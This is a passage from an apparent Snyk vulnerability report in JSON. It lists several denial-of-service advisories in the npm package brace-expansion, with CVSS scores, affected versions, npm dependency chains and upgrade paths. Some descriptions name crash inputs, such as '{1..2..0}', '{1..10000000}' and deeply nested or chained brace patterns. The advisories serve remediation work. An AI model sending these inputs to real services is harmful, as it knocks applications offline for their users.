"Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], 